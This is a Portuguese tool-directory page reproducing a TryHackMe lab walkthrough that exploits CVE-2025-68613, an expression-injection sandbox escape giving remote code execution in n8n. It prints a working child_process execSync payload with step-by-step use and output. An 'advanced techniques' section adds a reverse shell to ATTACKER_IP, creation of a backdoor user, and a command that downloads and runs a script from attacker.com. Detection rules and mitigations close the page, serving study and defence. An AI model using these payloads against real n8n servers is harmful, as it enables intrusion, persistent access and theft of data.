Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
n8n-cve-2025-68613-thm — Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe. | Kitploit
Ferramentas/GitHubGitHub/khin-96/n8n-cve-2025-68613-thm
Escalada de PrivilégiosAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebComando e ControleAprendizado e EducaçãoResposta a IncidentesDesenvolvimento de PayloadsLabs e Prática

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
GitHubkhin-96/n8n-cve-2025-68613-thm

n8n-cve-2025-68613-thm

Walkthrough educacional para explorar CVE-2025-68613, um RCE crítico no n8n de automação de workflows. Abrange injeção de expressão, escape de sandbox, desenvolvimento de payload e estratégias de detecção através de um laboratório TryHackMe.

Ver Repositório
1há 7 mesesAinda não revisado

CVE-2025-68613 – Exploração Crítica de RCE no n8n

Visão Geral

Este repositório documenta uma exploração prática do CVE-2025-68613 (CVSS 9.9), uma vulnerabilidade crítica de Execução Remota de Código que afeta a plataforma de automação de fluxo de trabalho n8n (versões 0.211.0 a 1.120.3).

Esta exploração foi realizada eticamente em um ambiente controlado de laboratório TryHackMe apenas para fins educacionais.


Resumo da Vulnerabilidade

CampoValor
CVE IDCVE-2025-68613
Pontuação CVSS9.9 (Crítico)
Publicado19 de dezembro de 2025
Produto AfetadoPlataforma de Automação de Fluxo de Trabalho n8n
Tipo de VulnerabilidadeInjeção de Expressão → Escape de Sandbox → RCE
Vetor de AtaqueUsuário Autenticado (Padrão)
Versões Corrigidas1.120.4, 1.121.1, 1.122.0+
Versões Afetadas0.211.0 - 1.120.3

O que é n8n?

n8n é uma plataforma de automação de fluxo de trabalho de código aberto que permite aos usuários conectar visualmente aplicativos e serviços para automatizar tarefas. Ela apresenta:

  • Arquitetura de fluxo de trabalho baseada em nós: Cada nó representa uma ação (requisição de API, processamento de dados, e-mail, etc.)
  • Mais de 400 integrações nativas: Conectores pré-construídos para várias APIs e serviços
  • Nós de código: Execução de código JavaScript ou Python personalizado
  • Avaliação de expressões: Expressões dinâmicas envolvidas em {{ }} avaliadas como JavaScript

Modelos de Implantação

  • Instâncias auto-hospedadas (on-premises ou nuvem privada)
  • Serviço gerenciado hospedado na nuvem (n8n.cloud)
  • Ferramentas de automação internas em redes corporativas

Contexto Técnico

A Cadeia de Vulnerabilidade

A vulnerabilidade reside no sistema de avaliação de expressões de fluxo de trabalho do n8n. Quando usuários autenticados configuram fluxos de trabalho, suas entradas são processadas como código JavaScript sem sandboxing adequado.

Cadeia de Escalação de Contexto

root@kitploit:~
Expression Sandbox
    ↓ (escape via 'this')
Node.js Global Context
    ↓ (access mainModule)
Module System (require)
    ↓ (load child_process)
System Command Execution

Principais Falhas

  1. Avaliação Insegura de Expressões: Expressões de usuário envolvidas em {{ }} são avaliadas como JavaScript bruto sem isolamento de contexto adequado
  2. Escape de Sandbox: O acesso ao objeto this permite escapar das restrições pretendidas do sandbox
  3. Acesso Irrestrito a Módulos: process.mainModule.require() fornece acesso ao sistema de módulos do Node.js
  4. Carregamento Perigoso de Módulo: Pode carregar o módulo child_process para execução de comandos do sistema
  5. Nenhuma Proteção Significativa de Autenticação: Qualquer usuário autenticado pode explorar a vulnerabilidade

Detalhamento do Payload de Exploração

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('COMMAND').toString() 
})()

Explicação:

  • this → Objeto global do Node.js
  • this.process → Objeto de processo do Node.js
  • process.mainModule → Módulo raiz da aplicação n8n
  • .require('child_process') → Carrega o módulo de execução de comandos do sistema
  • .execSync('COMMAND') → Executa comando shell de forma síncrona
  • .toString() → Converte a saída do Buffer em string legível

Passo a Passo da Exploração

Passo 1: Autenticação

Acesse a instância vulnerável do n8n e faça login com credenciais válidas.

Credenciais do Laboratório:

  • E-mail: [email protected]
  • Senha: Try12345!

Tela de Login


Passo 2: Boas-vindas e Criação de Fluxo de Trabalho

Após o login, você é apresentado à interface de criação de fluxo de trabalho. Clique em "Começar do zero" para iniciar um novo fluxo de trabalho.

Tela de Boas-vindas


Passo 3: Adicionar Gatilho Manual

Clique em "Adicionar primeiro passo" e procure por "Gatilho Manual". Este nó serve como ponto de entrada para a execução do fluxo de trabalho.

Configuração do Gatilho Manual

Propósito: O nó Gatilho Manual permite a execução manual do fluxo de trabalho através do botão "Executar fluxo de trabalho" na interface, tornando-o ideal para testes.


Passo 4: Configurar Fluxo de Trabalho e Adicionar Mapeamento de Campos

Adicione um nó "Editar Campos" para realizar o mapeamento de campos. É aqui que a vulnerabilidade é explorada.

Configuração do Fluxo de Trabalho

Passos de Configuração:

  1. Clique em "Adicionar campo" para adicionar um novo mapeamento de campo
  2. Defina o modo para "Expressão"
  3. Isso permite a avaliação de código JavaScript

Passo 5: Executar Comando ID

Injete o payload para executar o comando id e recuperar informações do usuário/privilégios.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })()

Resultado:

root@kitploit:~
uid=1000(node) gid=1000(node) groups=1000(node)

Execução do Comando ID

Informações Coletadas:

  • Executando como usuário não-root (uid=1000)
  • Associação de grupo (gid=1000)
  • Potenciais caminhos de escalada de privilégio

Passo 6: Enumerar Sistema de Arquivos com LS

Modifique o payload para executar o comando ls e listar o conteúdo do diretório.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('ls -la').toString() })()

Execução do Comando LS

Saída Mostra:

  • Arquivo de flag presente: flag.txt
  • Estrutura de diretórios e permissões de arquivo
  • Dados adicionais de reconhecimento

Passo 7: Extrair Dados Sensíveis

Leia o arquivo de flag usando o comando cat para completar a exploração.

Payload:

root@kitploit:~
(function(){ return this.process.mainModule.require('child_process').execSync('cat flag.txt').toString() })()

Flag Recuperada:

root@kitploit:~
THM{n8n_exposed_workflow}

Extração da Flag


Técnicas Avançadas de Exploração

1. Reverse Shell

Estabeleça acesso interativo ao shell para controle persistente:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1').toString() 
})()

2. Criar Usuário Backdoor

Adicione um novo usuário do sistema para acesso persistente:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('useradd -m -p $(openssl passwd -1 PASSWORD) backdoor').toString() 
})()

3. Baixar Payload Malicioso

Busque e execute código remoto:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('wget http://attacker.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh').toString() 
})()

4. Enumeração de Escalação de Privilégio

Verifique privilégios sudo:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('sudo -l').toString() 
})()

5. Reconhecimento de Ambiente

Extraia variáveis de ambiente:

root@kitploit:~
(function(){ 
  return this.process.mainModule.require('child_process').execSync('env').toString() 
})()

Estratégias de Detecção

Registro de Proxy Web (Nginx)

Configure seu proxy para registrar corpos de requisição para análise:

root@kitploit:~
http {
    log_format detailed '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $body_bytes_sent '
                       '"$http_referer" "$http_user_agent" '
                       'Request-Body: "$request_body" '
                       'Duration: $request_time s';
    
    access_log /var/log/nginx/detailed_access.log detailed;
}

Regra de Detecção Sigma

Detecte tentativas de exploração através de requisições à API de fluxo de trabalho:

root@kitploit:~
title: CVE-2025-68613 - n8n Expression Injection RCE
logsource:
    category: web_application_firewall
detection:
    keywords:
        - "process.mainModule.require"
        - "child_process"
        - "execSync"
    condition: keywords
filter:
    field: uri_path
    value: "/rest/workflows"
    method: POST

Monitoramento de Criação de Processos

Monitore processos filhos suspeitos gerados pelo n8n:

  • Observe a geração inesperada de child_process
  • Monitore conexões de reverse shell (bash, nc)
  • Rastreie downloads/execução de arquivos suspeitos
  • Alerta sobre tentativas de escalada de privilégio

Locais de Log

  • Logs do n8n: /root/.n8n/logs/
  • Logs do Sistema: /var/log/auth.log, /var/log/syslog
  • Logs de Execução de Fluxo de Trabalho: banco de dados do n8n

Indicadores de Comprometimento

  • Expressões JavaScript suspeitas em campos de fluxo de trabalho contendo:
    • process.mainModule
    • require('child_process')
    • execSync ou spawn
  • Execuções incomuns de child_process
  • Modificações inesperadas no fluxo de trabalho
  • Tentativas de login falhas seguidas de acesso bem-sucedido
  • Alterações no sistema de arquivos em diretórios inesperados

Linha do Tempo da Exploração


Mitigação e Prevenção

Ações Imediatas

  1. Atualize o n8n para versões corrigidas:

    • v1.120.4
    • v1.121.1
    • v1.122.0 ou posterior
  2. Restrinja o Acesso à Rede

    • Implemente regras de firewall para limitar o acesso ao n8n
    • Use VPN ou hosts bastião para acesso administrativo
    • Desabilite a exposição externa se não for necessária
  3. Autenticação Forte

    • Imponha senhas fortes
    • Implemente autenticação multifator (MFA)
    • Use integração SSO quando possível
  4. Monitoramento e Registro

    • Ative o registro detalhado para todas as atividades do n8n
    • Monitore modificações no fluxo de trabalho em tempo real
    • Configure alertas para expressões suspeitas

Medidas de Segurança de Longo Prazo

  1. Validação e Sanitização de Entrada

    • Nunca avalie a entrada do usuário como código
    • Implemente lista de permissões de expressões
    • Sanitize todas as definições de fluxo de trabalho
  2. Implementação de Sandbox

    • Isole a avaliação de expressões em um sandbox restrito
    • Limite o acesso a APIs do Node.js
    • Use Máquinas Virtuais ou contêineres para isolamento
  3. Princípio do Menor Privilégio

    • Execute o n8n com as permissões mínimas necessárias
    • Restrinja o acesso ao sistema de arquivos
    • Limite a conectividade de rede
  4. Revisão de Código e Testes de Segurança

    • Auditorias de segurança regulares de nós personalizados
    • Implemente ferramentas SAST/DAST
    • Conduza exercícios de modelagem de ameaças

Referências

  • Documentação Oficial do n8n
  • Política de Segurança do n8n
  • Módulo de Processo Filho do Node.js
  • Injeção de Código OWASP
  • CWE-95: Neutralização Imprópria de Diretivas em Código Avaliado Dinamicamente
  • Calculadora CVSS v3.1

Informações do Laboratório

  • Plataforma: TryHackMe
  • Sala: n8n: CVE-2025-68613
  • URL da Sala: https://tryhackme.com/room/n8ncve202568613
  • Dificuldade: Médio a Difícil
  • Objetivos de Aprendizado: Injeção de expressão, escapes de sandbox, RCE, estratégias de detecção

Aviso Legal

Esta documentação é fornecida apenas para fins educacionais e de teste de segurança autorizado. As técnicas de exploração descritas são destinadas a:

  • Testes de penetração autorizados
  • Pesquisa de segurança em ambientes controlados
  • Prática de laboratório TryHackMe
  • Compreensão de vulnerabilidades de segurança

O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização por escrito antes de realizar testes de segurança.


Estrutura do Repositório

root@kitploit:~
.
├── README.md                    # Este arquivo
├── exploitation-details.md      # Guia técnico aprofundado
├── screenshots/
│   ├── 01-login.png             # Tela de login
│   ├── 02-Welcome.png           # Tela de boas-vindas
│   ├── 03-Manual_Trigger.png    # Configuração do Gatilho Manual
│   ├── 04-Workflow-setup.png    # Configuração do fluxo de trabalho
│   ├── 05-rce_id.png            # Execução do comando ID
│   ├── 06-Change_id_ls.png      # Execução do comando LS
│   └── rce_cat_flag.png         # Extração da flag
└── notes/
    └── exploitation-details.md

Notas do Autor

Este relatório documenta a exploração bem-sucedida do CVE-2025-68613 em um ambiente de laboratório TryHackMe. A vulnerabilidade demonstra a importância crítica da avaliação segura de código e os perigos da implementação inadequada de sandbox em plataformas de automação.

Compreender esta vulnerabilidade ajuda tanto as equipes de segurança ofensiva a identificar problemas semelhantes quanto as equipes defensivas a desenvolver estratégias de detecção mais eficazes.

Baixar ferramenta
PassoAçãoTempo
1Acessar instância n8nSegundos
2Criar/modificar fluxo de trabalho< 1 minuto
3Adicionar nó de mapeamento de campos< 1 minuto
4Injetar e executar comando id< 30 segundos
5Enumerar sistema de arquivos com ls< 1 minuto
6Extrair dados com cat< 30 segundos
TotalExploração completa de RCE< 5 minutos